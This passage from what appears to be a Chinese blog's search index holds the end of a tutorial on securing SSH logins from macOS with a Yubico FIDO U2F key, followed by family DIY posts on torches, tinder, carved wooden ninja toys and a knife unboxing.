Yubico 的 libfido2 函式庫，這裡我以 macOS 為例，以 brew 來安裝：\n# 安裝 libfido2 brew install libfido2 安裝 OpenSSH 由於 OpenSSH 在 8.2 版之後才支援 FIDO U2F，所以要先把 macOS 系統上的 OpenSSH 更新到最新版：\n# 安裝 openssh brew install openssh 更新完 OpenSSH 後，開啟新的終端機，確認 ssh 的版本：\n# 確認 ssh 版本 ssh -V OpenSSH_9.0p1, OpenSSL 1.1.1o 3 May 2022 檢查 Yubico 金鑰 若要確認 Yubico 金鑰是否有被 macOS 抓到，可以將金鑰插入 macOS 之後，使用 ioreg 指令查看 USB 的設備：\n# 查看 USB 設備 ioreg -p IOUSB +-o Root \u0026lt;class IORegistryEntry, id 0x100000100, retain 23\u0026gt; +-o AppleUSBXHCI Root Hub Simulation@00000000 \u0026lt;class AppleUSBRootHubDevice, id 0x1000004fa, registered, matched, active, busy 0 (3 ms), retain 12\u0026gt; | +-o USB3.0 Hub @00200000 \u0026lt;class AppleUSBDevice, id 0x100004a0b, registered, matched, active, busy 0 (0 ms), retain 14\u0026gt; | +-o USB 10/100/1000 LAN@00230000 \u0026lt;class AppleUSBDevice, id 0x100004a8a, registered, matched, active, busy 0 (0 ms), retain 14\u0026gt; | +-o USB3.0 Hub @00220000 \u0026lt;class AppleUSBDevice, id 0x100004a94, registered, matched, active, busy 0 (0 ms), retain 13\u0026gt; | +-o Flash Card Reader/Writer@00224000 \u0026lt;class AppleUSBDevice, id 0x100004aff, registered, matched, active, busy 0 (0 ms), retain 12\u0026gt; +-o AppleUSBVHCIBCE Root Hub Simulation@80000000 \u0026lt;class AppleUSBRootHubDevice, id 0x100000501, registered, matched, active, busy 0 (4 ms), retain 15\u0026gt; | +-o Headset@80400000 \u0026lt;class AppleUSBDevice, id 0x100000507, registered, matched, active, busy 0 (4 ms), retain 11\u0026gt; | +-o Touch Bar Display@80600000 \u0026lt;class AppleUSBDevice, id 0x10000050b, registered, matched, active, busy 0 (4 ms), retain 13\u0026gt; | +-o Touch Bar Backlight@80700000 \u0026lt;class AppleUSBDevice, id 0x100000510, registered, matched, active, busy 0 (4 ms), retain 11\u0026gt; | +-o Ambient Light Sensor@80300000 \u0026lt;class AppleUSBDevice, id 0x100000515, registered, matched, active, busy 0 (4 ms), retain 11\u0026gt; | +-o Apple T2 Controller@80100000 \u0026lt;class AppleUSBDevice, id 0x10000051d, registered, matched, active, busy 0 (4 ms), retain 13\u0026gt; | +-o FaceTime HD Camera (Built-in)@80200000 \u0026lt;class AppleUSBDevice, id 0x100000522, registered, matched, active, busy 0 (5 ms), retain 13\u0026gt; | +-o Apple Internal Keyboard / Trackpad@80500000 \u0026lt;class AppleUSBDevice, id 0x100004bd6, registered, matched, active, busy 0 (1 ms), retain 20\u0026gt; +-o AppleUSBXHCI Root Hub Simulation@14000000 \u0026lt;class AppleUSBRootHubDevice, id 0x10000056e, registered, matched, active, busy 0 (4 ms), retain 9\u0026gt; +-o USB2.0 Hub @14400000 \u0026lt;class AppleUSBDevice, id 0x100004a24, registered, matched, active, busy 0 (0 ms), retain 14\u0026gt; +-o USB 2.0 BILLBOARD @14440000 \u0026lt;class AppleUSBDevice, id 0x100004ac6, registered, matched, active, busy 0 (1 ms), retain 12\u0026gt; +-o USB2.0 Hub @14420000 \u0026lt;class AppleUSBDevice, id 0x100004ad7, registered, matched, active, busy 0 (0 ms), retain 14\u0026gt; +-o HD Pro Webcam C920@14422000 \u0026lt;class AppleUSBDevice, id 0x100004b17, registered, matched, active, busy 0 (2 ms), retain 18\u0026gt; +-o Security Key by Yubico@14421000 \u0026lt;class AppleUSBDevice, id 0x1000090bb, registered, matched, active, busy 0 (1 ms), retain 12\u0026gt; 若要取得更詳細的 Yubico 實體金鑰資訊，可以使用 YubiKey Manager CLI，這個工具在 macOS 中可透過 brew 安裝：\n# 安裝 YubiKey Manager brew install ykman 安裝好 YubiKey Manager CLI 之後，使用 ykman 查詢 Yubico 實體金鑰資訊：\n# 列出所有 Yubico 實體金鑰資訊 ykman list FIDO U2F Security Key (4.2.7) [FIDO] 顯示 Yubico 實體金鑰詳細訊息：\n# 顯示 Yubico 實體金鑰詳細訊息 ykman info Device type: FIDO U2F Security Key Firmware version: 4.2.7 Enabled USB interfaces: FIDO Applications FIDO2 Not available\tOTP Not available\tFIDO U2F Enabled OATH Not available\tYubiHSM Auth\tNot available\tOpenPGP Not available\tPIV Not available 設定 SSH 金鑰登入 將 Yubico 實體金鑰插入 macOS 電腦中，接著使用 ssh-keygen 指令建立公私鑰檔案：\n# 建立 ecdsa-sk 格式公私鑰檔案\u0026lt;/span\u0026gt; ssh-keygen -t ecdsa-sk -f ~/.ssh/id_ecdsa_sk Generating public/private ecdsa-sk key pair. You may need to touch your authenticator to authorize key generation. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /Users/seal/.ssh/id_ecdsa_sk Your public key has been saved in /Users/seal/.ssh/id_ecdsa_sk.pub The key fingerprint is: SHA256:SICBg/TVFPPrSEfB/V2/GuneI+AxPjiu1OaOAbCdnFU seal@MacBookPro The key's randomart image is: +-[ECDSA-SK 256]--+ |oo.o..o+oE. | |+ o .. .+... .| | . o .. o . . o| | =.+.. . . ..| | . *..So . .| | o = + o . | | + ++ = o | | . =o + +.. | | o++. o....| +----[SHA256]-----+ 執行上面這一行指令之後，要用手指按一下 Yubico 實體金鑰，並設定保護金鑰的密碼（也可以不設定，直接按下 Enter 跳過），最後就會產生一個私鑰檔案 ~/.ssh/id_ecdsa_sk 與一個公鑰檔案 ~/.ssh/id_ecdsa_sk.pub。\n接著將公鑰複製到遠端 Linux 伺服器，假設我們想要將 Yubico 實體金鑰用於 192.168.0.1 這台 Linux 主機的 myuser 使用者登入，可以用 ssh-copy-id 將公鑰複製到該台 Linux 主機的 myuser 帳號下：\n# 將公鑰複製到遠端 Linux 伺服器 ssh-copy-id -i ~/.ssh/id_ecdsa_sk myuser@192.168.0.1 在執行這一行指令時，會需要輸入 myuser 的密碼，這行指令實際做的事情就是將公鑰內容寫入 myuser 帳號的 ~/.ssh/authorized_keys 檔案中。\n由於這一支 Yubico 的 FIDO U2F Security Key 韌體版本比較舊，不支援 ed25519-sk 的金鑰格式，如果是比較新版的 Yubico 實體金鑰，可以考慮使用比較新的 ed25519-sk 金鑰格式：\n# 建立 ed25519-sk 格式公私鑰檔案 ssh-keygen -t ed25519-sk -f ~/.ssh/id_ed25519_sk 測試 Yubico 實體金鑰登入 設定完成後，我們就可以嘗試使用 Yubico 實體金鑰來登入遠端的 Linux 主機：\n# 以 Yubico 實體金鑰登入遠端 Linux 主機 ssh myuser@192.168.0.1 執行登入指令後，我們要用手指按一下 Yubico 實體金鑰，這樣就可以使用 Yubico 實體金鑰登入遠端 Linux 主機了。\nConfirm user presence for key ECDSA-SK SHA256:UfKCcfDhXt7sHCGjpSZ5wBirQ/3C546b7L9jPMFecrg User presence confirmed Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-110-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon May 16 15:09:24 CST 2022 System load: 0.04 Processes: 171 Usage of /: 78.0% of 93.73GB Users logged in: 0 Memory usage: 5% IPv4 address for ens3: 192.168.0.1 Swap usage: 0% * Super-optimized for small spaces - read how we shrank the memory footprint of MicroK8s to make it the smallest full K8s around. https://ubuntu.com/blog/microk8s-memory-optimisation 0 updates can be applied immediately. Last login: Mon May 16 15:08:55 2022 from 192.168.0.2 如果在執行 ssh 登入指令時，沒有插入 Yubico 實體金鑰，就無法使用該實體金鑰登入，錯誤訊息會類似這樣：\nConfirm user presence for key ECDSA-SK SHA256:UfKCcfDhXt7sHCGjpSZ5wBirQ/3C546b7L9jPMFecrg sign_and_send_pubkey: signing failed for ECDSA-SK \"/Users/seal/.ssh/id_ecdsa_sk\": device not found 限制實體金鑰登入 如果測試過實體金鑰可以正常登入之後，可以考慮將密碼認證功能關閉，並只接受實體金鑰登入，排除其他軟體類型的金鑰，讓系統更安全：\n# 不接受密碼認證 PasswordAuthentication no # 只接受 ed25519-sk 與 ecdsa-sk 類型的金鑰 PubkeyAcceptedKeyTypes sk-ecdsa-sha2-nistp256@openssh.com,sk-ssh-ed25519@openssh.com 不過這樣的設定需要非常小心，因為一但實體金鑰不見了，就會完全無法透過 SSH 登入系統。各種金鑰類型的比較，可參考 SSH implementation comparison。\n設定完成後，重新啟動 ssh 服務：\n# 重新啟動 ssh 服務 sudo systemctl restart ssh 使用 ssh-agent macOS 系統預設啟動的 ssh-agent 是 /System/Library/LaunchAgents/com.openssh.ssh-agent.plist 中指定的 /usr/bin/ssh-agent，但是這個版本太舊了，無法支援 FIDO U2F，所以若要使用 ssh-agent 的功能，就必須手動啟動 /usr/local/bin/ssh-agent，以下是操作範例。\n# 啟動 ssh-agent eval `ssh-agent` # 加入金鑰 ssh-add ~/.ssh/id_ed25519_sk # 進行 SSH 連線（啟用 agent forwarding） ssh -A myuser@192.168..1 # 停止 ssh-agent ssh-agent -k 參考資料 Cryptsus：How to configure SSH with YubiKey Security Keys U2F Authentication on Ubuntu Bash Prompt：A Short Guide To Using A Yubikey For SSH Authentication ","permalink":"https://blog.gtwang.org/linux/macos-configure-ssh-with-yubico-fido-u2f-security-key-authentication/","summary":"\u003cp\u003e本篇介紹如何在 macOS 中使用 SSH 搭配 Yubico 的 FIDO U2F Security Key 實體金鑰認證，登入遠端的 Linux 伺服器。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e今天跟同事借了一支 \u003ca href=\"https://support.yubico.com/s/article/FIDO-U2F-Security-Key\"\u003eYubico 的 FIDO U2F Security Key\u003c/a\u003e，這一支是比較舊款的實體金鑰，只支援 FIDO U2F，不過還是很適合用於一般的 SSH 遠端登入。\u003c/p\u003e","title":"macOS 設定 Yubico FIDO U2F Security Key 實體金鑰認證遠端登入 SSH 伺服器教學"},{"content":"本篇記錄我拿竹子加上過期的苦茶油，自製竹火把的作法與過程。\n最近家裡有一瓶放了很久的苦茶油，已經變質不太能吃了，所以就拿來教阿玄怎麼自己做竹火把。\n製作竹火把要準備的材料很簡單，只要一根竹子、油（拿過期的食用油比較不會浪費），一張紙巾或不要的布，這樣就可以製作簡單的竹火把了。\n這次我只是要教阿玄如何自己製作竹火把，所以只挑一根比較細的竹子，如果希望火大一點，可以挑比較粗的竹子。\n首先將油倒入竹子中。\n在準備竹子的時候，注意末端（點火端）要靠近竹節，這樣才能方便裝油，至於要多靠近就看自己想要放多少油，這次只是讓阿玄體驗竹火把，所以需要裝的油不多。\n將紙巾或是布塞住剛剛倒入油的竹子上，同時讓油沾滿紙巾或是布，這樣點火的時候才能燒到油。\n點火之後，就完成一支竹火把了。\n阿玄第一次拿火把，而且還是自己做的，感覺很新鮮。\n阿玄拿著火把，跟鄰居在田裡玩。\n","permalink":"https://blog.gtwang.org/diy/homemade-bamboo-torch-20220404/","summary":"\u003cp\u003e本篇記錄我拿竹子加上過期的苦茶油，自製竹火把的作法與過程。\u003c/p\u003e\n\u003cp\u003e最近家裡有一瓶放了很久的苦茶油，已經變質不太能吃了，所以就拿來教阿玄怎麼自己做竹火把。\u003c/p\u003e","title":"[DIY] 自製竹火把"},{"content":"這裡介紹如何利用簡單的凡士林與衛生紙，製作生火用的凡士林火種。\n在野外生火的時候，如果沒有適合的火絨或乾草，可以利用衛生紙加上凡士林，製作簡單的火種，方便生火。\n這種小罐的凡士林在普通大間一點的五金行就買得到，價格通常都很便宜，像這一罐凡士林只要 40 元。\n購買凡士林的時候，要注意成份，要選擇純的凡士林，不要添加其他的東西。\n凡士林的學名為石油脂，它主要是從原油經過常壓與減壓蒸餾後所留下的渣油中提煉出來的蠟膏，在常溫之下呈現膏狀。\n這是阿玄製作凡士林火種的影片。\n若要將凡士林用於生火，可以拿一張衛生紙，沾上一點凡士林。\n當衛生紙沾上凡士林之後，就變成一個可以用來生火的火種了。\n自從阿玄使用過打火棒生火之後，就很喜歡玩生火，這次就教他如何自己製作凡士林火種，然後使用打火棒生火，不過小朋友要玩生火都一定要大人在旁邊看著，不可以讓小朋友獨自玩生火。\n阿玄自己拿了一些衛生紙來沾凡士林。\n製作好的凡士林火種，可以直接用打火棒點燃。\n點燃的凡士林火種可以燃燒很久，凡士林的量越多，就燒得越久。\n","permalink":"https://blog.gtwang.org/diy/diy-vaseline-tinder-20220226/","summary":"\u003cp\u003e這裡介紹如何利用簡單的凡士林與衛生紙，製作生火用的凡士林火種。\u003c/p\u003e\n\u003cp\u003e在野外生火的時候，如果沒有適合的火絨或乾草，可以利用衛生紙加上凡士林，製作簡單的火種，方便生火。\u003c/p\u003e","title":"[DIY] 自製凡士林火種"},{"content":"本篇記錄我用路邊撿來的樟木與龍眼木，雕刻火影忍者卡通中木葉與砂忍者村標誌牌的製作過程。\n我們家阿玄很喜歡看火影忍者的卡通，所以最近趁著路樹修剪的時期，撿來了一些龍眼木與樟木，做一些小的火影木工藝品給阿玄玩。\n木葉標誌木牌 剛開始做的時候，手上只有美工刀，所以就拿一片樟木，畫上木葉的標誌之後，用美工刀來刻。\n刻完之後，再用電鑽打個洞，一開始只是試做，不過感覺還不錯。\n串上一條麻繩，這樣基本上就算完成了。\n後來我又買了一組便宜的雕刻刀，所以又再把木片上的圖案重新修了一次。\n稍微把溝槽修的更深一點。\n再用銼刀與砂紙把表面與邊緣粗糙的部分打磨一下。\n最後上一層木蠟油。\n塗上木蠟油之後，木頭的花紋會更明顯。\n後來發現用牙刷來上木蠟油比較方便。\n這是上完木蠟油的樣子。\n重新串上麻繩，這樣就完成了。\n把它綁在阿玄得書包上，感覺還不錯。\n砂忍者村標誌木牌 有了一次的製作經驗之後，我打算用龍眼木再製作一個砂忍者村標誌的木牌。首先選擇一根適當粗細的龍眼木，用鋸子鋸出一片龍眼木。\n用手撥開木片的樹皮。\n拿一張紙對著電腦螢幕描出砂忍者村的標誌，圖案的大小要符合木片的尺寸。\n使用砂紙稍微打磨一下木片。\n將圖案對準木片中間的位置，上方要留有打洞的空間。\n用雕刻刀刻出基本的圖案輪廓。\n使用鑿刀刻出凹槽。\n於由這一片木片本來就有一條裂紋，結果我用鑿刀開溝的時候，不小心太用力，整塊木片就裂開了，不過還是勉強繼續把它刻完。\n接著用電鑽打洞。\n在圖案上方開出一個穿繩的洞。\n接下來用白膠把裂開的木片黏起來。\n從木片後方把白膠塗進裂縫中。\n正面盡量不要沾到白膠。\n把木片夾起來，等白膠乾。\n這是我製作木工藝品的小工作桌。\n等了幾個小時之後，感覺白膠已經乾了。\n使用砂紙把表面重新打磨一次，也把背面的白膠磨掉。\n最後上一層木蠟油，在木片下方有一部分的白膠沒有磨乾淨，但是我急著做出來讓阿玄帶去學校，所以就將就了。\n串上麻繩，這樣就完成了。\n綁在阿玄的書包上感覺也很不錯。\n這是樟木的木葉標誌，以及龍眼木的砂忍者村標誌。\n","permalink":"https://blog.gtwang.org/diy/diy-wooden-naruto-konoha-sand-ninja-village-logo-20220219/","summary":"\u003cp\u003e本篇記錄我用路邊撿來的樟木與龍眼木，雕刻火影忍者卡通中木葉與砂忍者村標誌牌的製作過程。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e我們家阿玄很喜歡看火影忍者的卡通，所以最近趁著路樹修剪的時期，撿來了一些龍眼木與樟木，做一些小的火影木工藝品給阿玄玩。\u003c/p\u003e","title":"[DIY] 自製火影木葉、砂忍者村標誌雕刻木牌"},{"content":"最近打算帶著阿玄做一些木工作品，所以需要一些木材，之前我都是收集路邊的雜木或是樟木，最近又發現路邊有龍眼木的枝幹，剛好鋸回來用。\n這是我在路邊看到龍眼樹修剪下來的枝幹。\n這一些是我這幾天用鋸子慢慢鋸下來的龍眼木，有一些還滿粗的，很適合用來做一些木工作品。\n這些是之前收集的雜木與樟木。\n這些木頭都是用這兩支鋸子來鋸的，下面這一支是我新買的瑞典 BAHCO 396-Lap 魚牌軍規摺疊鋸，已經被我鋸到連牌子都看不出來了。\n","permalink":"https://blog.gtwang.org/diy/longan-wood-branches-20220302/","summary":"\u003cp\u003e最近打算帶著阿玄做一些木工作品，所以需要一些木材，之前我都是收集路邊的雜木或是樟木，最近又發現路邊有龍眼木的枝幹，剛好鋸回來用。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"收集龍眼木修剪枝幹用於木頭工藝"},{"content":"本篇記錄阿玄第一次使用木工工具製作迷你手裏劍的過程。\n最近趁著春天砍了一些木頭回來，在正式製作木頭工藝品之前，我隨便鋸了一小片木頭下來，想要試做一下簡單的小東西，但後來感覺我鋸的木片太小了，好像不太能做出什麼東西，然後阿玄就把木片拿去，自己設計了手裡劍的樣子，畫在紙上，然後又描在木頭上，我感覺畫得還不錯，所以就用鋸子把出大約的形狀，然後再用直刀稍微修一下，但感覺還可以，但是有些地方歪掉，需要再修整一下。\n一開始以為應該做不出東西，所以都沒拍照，這是我鋸出來，稍微用直刀修過，再用電鑽打洞之後的樣子。\n為了讓阿玄做這個迷你手裏劍，還特地去五金行買了一把銼刀。\n阿玄非常會使用銼刀修整木頭。\n買銼刀的同時，我也順便買了一個研磨的鑽頭，裝在電鑽上可以進行研磨。\n不過試用過後，感覺這種鑽頭也沒有特別好用。\n阿玄還是習慣用普通的銼刀來修整。\n這是阿玄在修整迷你手裏劍的影片。\n這就是修整完成的迷你手裏劍，原本我在用鋸子鋸的時候，有些地方鋸歪掉，阿玄都把它修正了。\n這算是阿玄第一件木工作品，所以他自己很喜歡。\n","permalink":"https://blog.gtwang.org/diy/diy-wooden-shuriken-20220219/","summary":"\u003cp\u003e本篇記錄阿玄第一次使用木工工具製作迷你手裏劍的過程。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e最近趁著春天\u003ca href=\"/diy/longan-wood-branches-20220302/\"\u003e砍了一些木頭回來\u003c/a\u003e，在正式製作木頭工藝品之前，我隨便鋸了一小片木頭下來，想要試做一下簡單的小東西，但後來感覺我鋸的木片太小了，好像不太能做出什麼東西，然後阿玄就把木片拿去，自己設計了手裡劍的樣子，畫在紙上，然後又描在木頭上，我感覺畫得還不錯，所以就用鋸子把出大約的形狀，然後再用直刀稍微修一下，但感覺還可以，但是有些地方歪掉，需要再修整一下。\u003c/p\u003e\n\u003cp\u003e一開始以為應該做不出東西，所以都沒拍照，這是我鋸出來，稍微用\u003ca href=\"/unboxing/marttiini-mft-g10-knife-20220212/\"\u003e直刀\u003c/a\u003e修過，再用電鑽打洞之後的樣子。\u003c/p\u003e","title":"[DIY] 樟木手工自製迷你手裏劍（忍者武器）"},{"content":"本篇記錄我用自己砍的龍眼木還有一些手工具，製作木槌的過程。\n最近打算帶著阿玄製做一些木工藝品，而我發現我似乎需要一把木槌，五金行一把木槌大概不用一百元，不過我想要自己用砍來的龍眼木做一把木槌。\n首先從我在路邊鋸來的一堆龍眼木中，選擇適合用來製作木槌的木材。\n挑了一根很粗的枝幹作為鎚頭，加上另外一根比較細的作為槌柄。\n首先把粗的龍眼木鋸一截下來，作為鎚頭。\n這一支鋸子是我剛買不久的瑞典 BAHCO 396-Lap 魚牌軍規摺疊鋸，最近鋸了非常多的木頭，所以已經磨到看不出牌子了。\n接著使用我剛買的 Marttiini MFT G10 芬蘭北歐直刀，把樹皮削掉。\n比較乾燥的枝幹，樹皮會與木頭自然分開，所以用刀尖挑開樹皮就可以輕鬆去除，直接用手削非常費力氣。\n粗的這一根龍眼木也是一樣要把樹皮削掉，而這一根則是可以直接用刀尖撬開樹皮，很輕鬆就可以處理掉。\n削完樹皮的龍眼木，感覺非常漂亮，阿玄看到之後就很想要，我就直接送給她當玩具了，所以我要再去找另外一根當作槌柄的木材。\n找了一根粗細適合的龍眼木。\n這裡同樣也是用鋸子先把木材鋸下來，然後用直刀去除樹皮。\n用鋸子鋸掉一些沒用的小枝幹。\n這樣就準備好製作槌子的兩枝木材了。\n槌柄的木材可以再用砂紙打磨一下。\n使用電鑽將鎚頭的中央打一個洞。\n對準正中心的位置，先鑽一個小洞。\n再用最粗的鑽頭開出一個洞。\n直接鑽穿整個槌頭。\n一開始打算使用銼刀來把洞擴大到槌柄的粗細。\n不過磨了幾下之後，發現這樣實在是太慢了。\n為了加快製作速度，我們先大約描出槌柄的粗細。\n使用兩分（6mm）的鑿刀，鑿出需要的孔徑大小。\n我們需要鑿出的孔徑大約是原本的兩倍大，用鑿刀真的快很多。\n接著再以銼刀修整一下。\n這樣就完成開洞的步驟了。\n將鎚頭與槌柄結合之後，建完成一把木槌了。\n由於鎚頭上面洞是手工開鑿的，槌柄也是手工用直刀削出來的，所以粗細不一，套起來的時候在辦中央卡住了，沒辦法完全貫穿，但是我花了很大的力氣把它打進去，實在不想再拔出來重新削過，所以就將就這樣用好了，以後如果掉了再說。\n最後一步就是在木槌表面上一層木蠟油，保護木頭，避免受潮發霉等問題。\n這樣就大功告成了。\n這一把木槌我通常是用來打鑿刀的，感覺很好用，阿玄有時候也會拿去當玩具玩。\n","permalink":"https://blog.gtwang.org/diy/diy-wooden-gavel-20220227/","summary":"\u003cp\u003e本篇記錄我用自己砍的龍眼木還有一些手工具，製作木槌的過程。\u003c/p\u003e\n\u003cp\u003e最近打算帶著阿玄製做一些木工藝品，而我發現我似乎需要一把木槌，五金行一把木槌大概不用一百元，不過我想要自己用砍來的龍眼木做一把木槌。\u003c/p\u003e","title":"[DIY] 龍眼木手工自製木槌"},{"content":"本篇記錄我自己用樟木的枝幹，以及各種手工具自製忍者苦無的過程。\n在春天許多行道樹或路邊的樹木都會進行修剪，所以我趁這段時間從修剪下來的枝幹中鋸了一些木材回來，準備給阿玄做一些木工，讓小朋友多一些興趣，避免整天都想玩電腦或看電視。\n阿玄最近很喜歡看火影忍者的影片、漫畫與小說，所以就想來用鋸回來的木頭做一把忍者的苦無，首先要挑選木頭。\n由於是第一次做苦無，所以挑一根沒有很粗的樟木枝幹，我打算用右半段直的部分來製作一把苦無。\n將樟木枝幹架好，準備好我最近買的BAHCO 396-Lap 摺疊鋸，就可以動工了。\n鋸開樟木枝幹。\n鋸開之後，我們只需要右邊這一段。\n接著我們要把外層的樹皮削掉，這時候我手上有的工具除了鋸子之外，就只有一把 Marttiini MFT G10 芬蘭北歐直刀，這把刀的強度是可以劈柴的，架在木頭上之後，再用另一根木頭往下敲擊可。\n同時也用鋸子，把枝幹上比較歪的部分鋸掉。\n用直刀慢慢把樹皮削掉。\n銷到這樣就差不多沒力氣了。\n由於苦無的前端是尖的，所以先用鋸子鋸除沒用的部分。\n這樣看起來就有點苦無的形狀了，接下來再繼續用直刀往下修。\n使用直刀挖出苦無把手的部分，這個動作也是將刀子架好，再用另外一塊木頭來敲，若只用手挖是非常費力氣的。\n一開始不敢挖太深，只先挖出大約的形狀。\n後來觀察這根木頭的厚度非常厚，足夠做出兩把苦無了，所以我就直接用鋸子把它鋸成兩半，打算一次做兩把苦無。\n在鋸開的過程才發現我的木頭稍微有一點歪，正面與背面的角度沒有完全對上，不過還是勉強可以繼續做。\n鋸開之後，兩片木頭就可以做出兩把可無。\n由於我們只有在假日施工，第一週的進度到這裡就結束了，之後是隔週的工程。\n隔了一週之後，將鋸開之後的木頭，用直刀繼續修成苦無的樣子，等形狀差不多的時候，我拿一條棉線先拉出苦無的中心線，再用鉛筆描上去。\n接著描出兩側的邊緣線。\n描好三條線之後，就可以進行比較精準的切割了。\n這一週我添購了許多木工的工具，這是一把 32mm 的鑿刀，這裡我打算用鑿刀切出苦無的邊緣。\n使用鑿刀可以非常精準的切出苦無的形狀，但是我怕估計錯誤，所以在切除時都保留一點空間，以防萬一。\n寬的大鑿刀在切除這種筆直的部分真的非常好用。\n這禮拜我也買了一個迷你的刨刀，用刨刀把苦無兩側邊緣，以及正反面整平，用刨刀推個幾下之後，整個感覺就差很多。\n苦無整體的樣子完成之後，接著用銼刀進行細部的打磨，這部分不需要很大的力氣，也沒有危險性，就可以完全交給小朋友動手了。\n這禮拜我買了一個一組旋轉虎鉗台，可以把木頭固定在桌上，方便施工。並外也買了一整組的銼刀組合給阿玄，他看到非常開心，阿玄可以自己選擇適合的銼刀，把苦無磨成自己想要的樣子。\n苦無的尾巴部分有一個圓孔，這部分我是使用電鑽來鑽孔。\n有先鑽出一個小洞，確定位置沒有偏差。\n再用最粗的鑽頭開洞。\n這樣就完成一個基本的圓孔。\n後續再用銼刀把洞修大一點。\n用刨刀與銼刀慢慢修成最後苦無的樣子。\n形狀都確定之後，用砂紙打磨苦無表面，讓表面更光滑。\n木工完成之後，在表面上一層木蠟油，可以防水、防霉、防止龜裂。這一盒木蠟油也是這週買的，一盒 80 元，依照我用的速度，我看至少可以用上好幾年。\n後來我發現苦無尾端的孔洞太小了，阿玄想用手指穿過去來旋轉苦無時會卡住，所以後來又把洞再開大一點。\n把洞開大一點之後，重新上一層木蠟油。\n這樣就自製的樟木苦無就完工了，一把木頭苦無做了兩個週末。\n當初在選木頭的時候，選得太短了，所以這一把苦無的尺寸有點小，不過阿玄第一次自己做木工，所以還是很喜歡這一把自己做的苦無。\n這禮拜完成這一把自己做的苦無，除了整天隨身攜帶之外，還把他帶去學校玩。\n由於這一把苦無是要給小朋友玩的，在設計上尖端的厚度是比較厚的，避免小朋友在玩的時候不小心刺傷，另外苦無尾端的洞要開到遠大於小朋友手指粗，這樣才不會讓小朋友的手指不小心卡在裡面。\n","permalink":"https://blog.gtwang.org/children/diy-wooden-kunai-20220227/","summary":"\u003cp\u003e本篇記錄我自己用樟木的枝幹，以及各種手工具自製忍者苦無的過程。\u003c/p\u003e\n\u003cp\u003e在春天許多行道樹或路邊的樹木都會進行修剪，所以我趁這段時間\u003ca href=\"/diy/longan-wood-branches-20220302/\"\u003e從修剪下來的枝幹中鋸了一些木材回來\u003c/a\u003e，準備給阿玄做一些木工，讓小朋友多一些興趣，避免整天都想玩電腦或看電視。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e阿玄最近很喜歡看火影忍者的影片、漫畫與小說，所以就想來用鋸回來的木頭做一把忍者的苦無，首先要挑選木頭。\u003c/p\u003e","title":"[DIY] 樟木手工自製苦無（忍者武器）"},{"content":"本篇是 Marttiini MFT G10 芬蘭北歐直刀（不銹鋼刀刃）的開箱文。\n最近常常帶阿玄做一些野外的活動，所以添購了一些戶外用的工具，而直刀應該是所有工具中最重要的，過去沒有特別買過直刀，這是我買的第一把直刀，而我的挑選原則是：\n價位要低：先用用看，要升級以後再說。 刀刃要夠厚：我一定會拿來劈柴。 全龍骨：戶外用刀，安全最重要。 不銹鋼材質：好保養，順便練習磨刀。 知名廠牌：選知名的廠牌，一分錢一分貨，避免偷工減料問題。 我在網路上看來看去，感覺 Marttiini MFT G10 芬蘭北歐直刀最符合我的需求，他的價格只要 1,518 元，刀刃長 10 cm，刀刃厚達 4 mm，就直接從網路上訂了。\n一般野外用的直刀，大概要三千以上才能買到像樣的，這種一千多的直刀沒辦法要求太多，材質只是普通的不鏽鋼，硬度只有 HRC 57-58。\n這把刀的刀鞘是黑色的皮革材質，內部還有一層硬殼。\n刀鞘上印有 Marttiini 的字樣。\n這是刀鞘上的花紋。\n這是刀子與刀鞘的樣子。\n刀子上面也印有 Marttiini 的字樣。\n刀刃厚度（最厚的地方）達 4 mm，是一把全龍骨的直刀。\n我撿了幾根乾樹枝，嘗試削了一下，由於這是我第一把直刀，所以也無從比較。\n","permalink":"https://blog.gtwang.org/unboxing/marttiini-mft-g10-knife-20220212/","summary":"\u003cp\u003e本篇是 Marttiini MFT G10 芬蘭北歐直刀（不銹鋼刀刃）的開箱文。\u003c/p\u003e\n\u003cp\u003e最近常常帶阿玄做一些野外的活動，所以添購了一些戶外用的工具，而直刀應該是所有工具中最重要的，過去沒有特別買過直刀，這是我買的第一把直刀，而我的挑選原則是：\u003c/p\u003e","title":"[開箱] Marttiini MFT G10 